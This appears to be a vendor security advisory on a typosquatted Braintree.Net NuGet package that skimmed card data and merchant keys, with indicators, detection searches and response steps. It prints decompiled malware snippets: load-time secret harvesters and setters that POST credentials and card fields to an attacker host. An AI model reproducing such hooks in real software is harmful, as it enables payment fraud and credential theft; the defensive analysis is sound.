critical

CVE

Not assigned

CWE

CWE-506, CWE-522, CWE-200, CWE-494

Affected Surface

  • Confirmed malicious NuGet versions `Braintree.Net` `3.35.8`, `3.35.9`, `3.36.0`, and `3.36.1`
  • Confirmed malicious companion dependency versions `DependencyInjector.Core` `1.0.0`, `1.3.0`, `1.4.0`, and `1.4.1`
  • Transitively exposed versions `SipNet` `12.8.4` through `12.8.7`, and `SipNet.OpenAI.Realtime` `12.8.3` when dependency resolution floated into the malicious `SipNet` range
  • .NET payment services that configured `Environment.PRODUCTION`, set Braintree merchant credentials, or processed live card data through the typosquatted assembly

The newest NuGet story worth adding is a strong example of how a typosquat can stop being “just another fake package” and become a direct payment-system compromise. Public research published on 9 July 2026 shows that Braintree.Net impersonated PayPal Braintree’s real .NET SDK, copied enough of the surface API to keep merchants functional, and then used that trust position to siphon live card data, merchant gateway credentials, and host secrets.

What makes this one technically interesting is the split behavior. Card and merchant-key theft are gated on Braintree’s own production mode, which helps the implant stay quiet during routine sandbox testing, while the environment and config harvester can still run as soon as the assembly loads on newer .NET targets.

Confirmed affected package set

Socket’s public package inventory gives a precise blast radius:

ScopePackageConfirmed malicious versionsWhy it matters
Typosquatted payment SDKBraintree.Net3.35.8, 3.35.9, 3.36.0, 3.36.1Carries the payment hooks and merchant-key theft logic
Companion harvesterDependencyInjector.Core1.0.0, 1.3.0, 1.4.0, 1.4.1Provides the environment/config/cloud recon and exfiltration path
Transitive vectorSipNet12.8.4 through 12.8.7Adds a manifest-level dependency on the harvester
Indirect transitive vectorSipNet.OpenAI.Realtime12.8.3Becomes exposed if dependency resolution lifts SipNet into the malicious range

The typosquat also depended on name confusion and metadata impersonation:

Official package ID: Braintree
Malicious package ID: Braintree.Net
Official package line: 5.x
Malicious package line: 3.35.x / 3.36.x

That mismatch is a useful forensic clue. Developers looking for “Braintree .NET” could plausibly grab the wrong package even though the official install instructions point to Braintree.

The package loads three independent theft paths

One of the clearest technical details in the public analysis is that the implant did not rely on a single hook. It activated at three different lifecycle points:

assembly load
-> module initializer runs environment/config harvester

gateway configuration
-> PrivateKey setter POSTs merchantId/publicKey/privateKey

payment execution
-> card gateway hooks POST PAN/CVV/expiry/customer fields

That layered design matters because each path has a different trigger and a different data target. A merchant might never run a card transaction in a test system, but the assembly-load harvester can still sweep the environment and config files.

Stage 1: module initializers start the host recon automatically

The first malicious stage uses .NET module initializers so it can run before the application calls any obviously suspicious method:

internal static class DependencyInjectorLoader
{
    [ModuleInitializer]
    internal static void Load()
    {
        try
        {
            CodebaseAnalyzer.AnalyzeAndPrint();
        }
        catch
        {
        }
    }
}

The companion dependency mirrors that pattern:

internal static class AutoInitializer
{
    [ModuleInitializer]
    internal static void Initialize()
    {
        CodebaseAnalyzer.AnalyzeAndPrint();
    }
}

The analyzer output described in public writeups is broader than simple env-var collection. It includes:

  • full environment-variable values
  • raw appsettings*.json contents
  • connection strings
  • mounted secrets
  • cloud and container metadata
  • dependency and assembly inventories

That means the “payment skimmer” label undersells the host-level impact. On a real payment server, this side channel can expose database credentials, cloud keys, CI tokens, and Kubernetes service-account material even if no card transaction is processed during the investigation window.

Stage 2: the private-key setter steals merchant API credentials

The second path abuses a place many merchants will never think to threat-model: the gateway configuration property setter.

Public reverse engineering shows the malicious package changed BraintreeGateway.PrivateKey from a simple assignment into a one-time credential exfiltration trigger:

public virtual string PrivateKey
{
    get { return Configuration.PrivateKey; }
    set
    {
        Configuration.PrivateKey = value;
        if (!_accountAdded
            && !string.IsNullOrWhiteSpace(Configuration.MerchantId)
            && !string.IsNullOrWhiteSpace(Configuration.PublicKey)
            && !string.IsNullOrWhiteSpace(Configuration.PrivateKey)
            && Configuration.Environment == Environment.PRODUCTION)
        {
            _accountAdded = true;
            GatewayI.AddAccountAsync(
                Configuration.MerchantId,
                Configuration.PublicKey,
                Configuration.PrivateKey);
        }
    }
}

The exfiltration target is straightforward:

new HttpRequestMessage(
    HttpMethod.Post,
    "https://api.348672-shakepay[.]com/api/account");

This is a serious trust-boundary problem for merchants because merchantId, publicKey, and privateKey are not transient request data. They are long-lived gateway credentials. A single production initialization can be enough to hand an attacker the ability to create transactions, access vault data, or abuse the real Braintree API depending on merchant-side controls.

Stage 3: payment hooks skim card data before the real API call

The third path is the most obviously dangerous to payment systems: the implant inserts a logger before the legitimate request is sent.

The malicious CreditCardGateway.Create() path publicly decompiled to:

public virtual Result<CreditCard> Create(CreditCardRequest request)
{
    CardOperationLogger.Instance.LogCreditCardCreate(gateway, request);
    return new ResultImpl<CreditCard>(
        new NodeWrapper(service.Post(service.MerchantPath() + "/payment_methods", request)),
        gateway);
}

The official package does not contain CardOperationLogger. The typosquat does, and the logger serializes fields such as:

cardNumber
cvv
expirationDate
cardType
customerId
amount
timestamp

The actual send path is reported as:

private const string ApiEndpoint = "https://api.348672-shakepay[.]com/api/card";
private const string ApiKey = "2523-5235-8564-2683-2386";

await _httpClient.SendAsync(httpRequestMessage);

This is the most operationally important part of the story for AppSec and PCI teams: the payment flow can still proceed normally after the exfiltration. The attacker does not need to break checkout to steal the data.

The production-only gate is stealth, not safety

One of the subtler engineering choices is that the card and merchant-key hooks check the Braintree environment rather than a generic sandbox fingerprint:

private bool IsProduction(IBraintreeGateway gateway)
{
    return gateway?.Configuration?.Environment?.EnvironmentName == "production";
}

That makes the implant quieter during normal QA:

  • sandbox tests may not show card or merchant-key exfiltration
  • production systems do expose the high-value payment data
  • the separate environment harvester still runs at assembly load for affected .NET targets

In other words, the malware is not “inactive in testing.” It is selectively quieter where defenders are most likely to look first.

The companion dependency is the host-secret multiplier

The DependencyInjector.Core package is what turns this from a payment-only issue into a broader host-compromise story. Public research attributes the following patterns to its analyzers:

new CodebaseAnalysisResult
{
    Environment = EnvironmentAnalyzer.Analyze(),
    Project = ProjectAnalyzer.Analyze(),
    Configuration = ConfigurationAnalyzer.Analyze(),
    Dependencies = DependencyAnalyzer.Analyze(),
    Container = ContainerAnalyzer.Analyze(),
    Cloud = CloudProviderAnalyzer.Analyze()
};

And the configuration side reportedly reads raw config file contents:

string value = File.ReadAllText(item);
dictionary3[item] = value; // Raw appsettings content

That is why incident response should not stop at “rotate Braintree keys.” If the poisoned package loaded in production or CI, assume unrelated secrets on the same host may also have been exposed.

Detection and scoping

Start by enumerating direct and transitive package usage:

dotnet list package | rg -n "Braintree\\.Net|DependencyInjector\\.Core|SipNet|SipNet\\.OpenAI\\.Realtime"

rg -n "Braintree\\.Net|DependencyInjector\\.Core|SipNet|SipNet\\.OpenAI\\.Realtime" \
  *.csproj Directory.Packages.props packages.lock.json

Then hunt for the public code and network indicators:

rg -n "CardOperationLogger|DependencyInjectorLoader|EndpointObfuscator|AnalyticsReporter|AutoInitializer" \
  .

High-signal network artifacts include:

api.348672-shakepay[.]com/api/card
api.348672-shakepay[.]com/api/account
api.348672-shakepay[.]com/api/analytics/report
X-Api-Key: 2523-5235-8564-2683-2386

If you have DLL or package-cache access, compare any suspect install against the public package names and version set above. The official NuGet page for Braintree.Net is now hidden and deleted, which is useful confirmation that restore history and local caches matter more than the present gallery state.

Response guidance

If any affected version was restored or executed:

  1. remove Braintree.Net and replace it with the official Braintree package
  2. rotate all Braintree merchant credentials, not just application-level API keys
  3. treat payment card data handled through the poisoned package as potentially disclosed and invoke PCI response processes as required
  4. review CI and production hosts for DependencyInjector.Core exposure, because the host-secret harvester can widen the blast radius well beyond payment data
  5. block and review egress to api.348672-shakepay[.]com

The bigger lesson is that this package did not need an exploit in the classic sense. It only needed to look enough like the real SDK that merchants would hand it production credentials and card data during ordinary operations. That is exactly why SDK-style typosquats remain one of the most dangerous classes of supply-chain attack.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

Explore dependency scanning Explore secrets scanning Get Demo

References